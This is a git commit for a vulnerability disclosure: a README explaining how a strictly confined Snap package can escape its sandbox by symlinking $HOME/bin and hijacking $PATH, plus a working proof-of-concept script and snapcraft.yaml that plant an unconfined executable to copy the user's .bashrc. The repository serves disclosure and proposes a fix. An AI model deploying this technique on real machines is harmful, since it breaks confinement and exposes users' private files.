1
0

Initial version

This commit is contained in:
Neil McPhail 2024-02-20 11:21:40 +00:00
commit 72b2c911a3
4 changed files with 70 additions and 0 deletions

2
.gitignore vendored Normal file
View File

@ -0,0 +1,2 @@
*.snap

19
README.md Normal file
View File

@ -0,0 +1,19 @@
Strictly confined snaps can escape the sandbox if they have the `home` plug.
The `home` plug gets connected without manual approval on normal distros.
A snap with the `home` plug can write to directories in the user's $PATH.
By default on Ubuntu, if the directory $HOME/bin is present it is prepended to $PATH due to a rule in the default $HOME/.profile, which is sourced when the user logs in.
The directory $HOME/bin is not present on ubuntu unless the user creates it.
There is an explicit apparmor rule for the `home` plug which prevents a snap from writing to $HOME/bin directly.
As $HOME/bin does not exist by default, a snap can make $HOME/bin a symlink to a directory it can control.
Apparmor does not prevent this.
When the user logs back in, .profile is sourced and as $HOME/bin now exists it is prepended to $PATH.
Any executable in the controlled directory will now be called in preference to the executable the user meant to call, as they appear first in the $PATH. For example, $EVILSNAPDIR/top would be called if the user types `top`.
These executables are not sandboxed and run with the full permissions and access of the user.
In the example, the payload executable `evilsnap` can access the user's .bashrc and pass it through to the actual snap for reading. The snap cannot read the .bashrc directly without this due to the sandbox preventing access to dotfiles in the user's home directory.
Although this abuses behaviour unique to $HOME/bin with the default .profile, it is not unusual for developers to have added other well-known subdirectories of $HOME to their $PATH (for example, when installing SDKs for development etc). A snap could abuse any of these well-known locations even more trivially to add unconfined executables to a $PATH.
Proposed solution: snaps should not be allowed to write to any directories in a user's $PATH, and symlinks matching those directories should also be prohibited.

28
script/evilsnap Executable file
View File

@ -0,0 +1,28 @@
#! /bin/bash
FILE=".bashrc"
if [ ! -d "$SNAP_REAL_HOME/bin" ]; then
mkdir -p "$SNAP_REAL_HOME/bintmp"
cat << EOF > "$SNAP_REAL_HOME/bintmp/evilsnap"
#! /bin/bash
cp ~/$FILE ~/snap/evilsnap/current/
snap run evilsnap
EOF
chmod +x "$SNAP_REAL_HOME/bintmp/evilsnap"
ln -s "$SNAP_REAL_HOME/bintmp/" "$SNAP_REAL_HOME/bin"
fi
# this should always fail due to confinement
if [ -f "$SNAP_REAL_HOME/$FILE" ]; then
cat "$SNAP_REAL_HOME/$FILE" 2>/dev/null && exit 0
fi
# check if payload has moved file into confined area
if [ -f "$SNAP_USER_DATA/$FILE" ]; then
cat "$SNAP_USER_DATA/$FILE"
exit 0
fi
echo "Could not access $FILE"
echo "Try logging out and back in then running evilsnap again"

21
snap/snapcraft.yaml Normal file
View File

@ -0,0 +1,21 @@
name: evilsnap
base: core22 # the base snap is the execution environment for this snap
version: '0.1' # just for humans, typically '1.2+git' or '1.3.2'
summary: Break confinement
description: |
Read .bashrc despite strict confinement
grade: devel # must be 'stable' to release into candidate/stable channels
confinement: strict
parts:
my-part:
# See 'snapcraft plugins'
plugin: dump
source: script
apps:
evilsnap:
command: evilsnap
plugs:
- home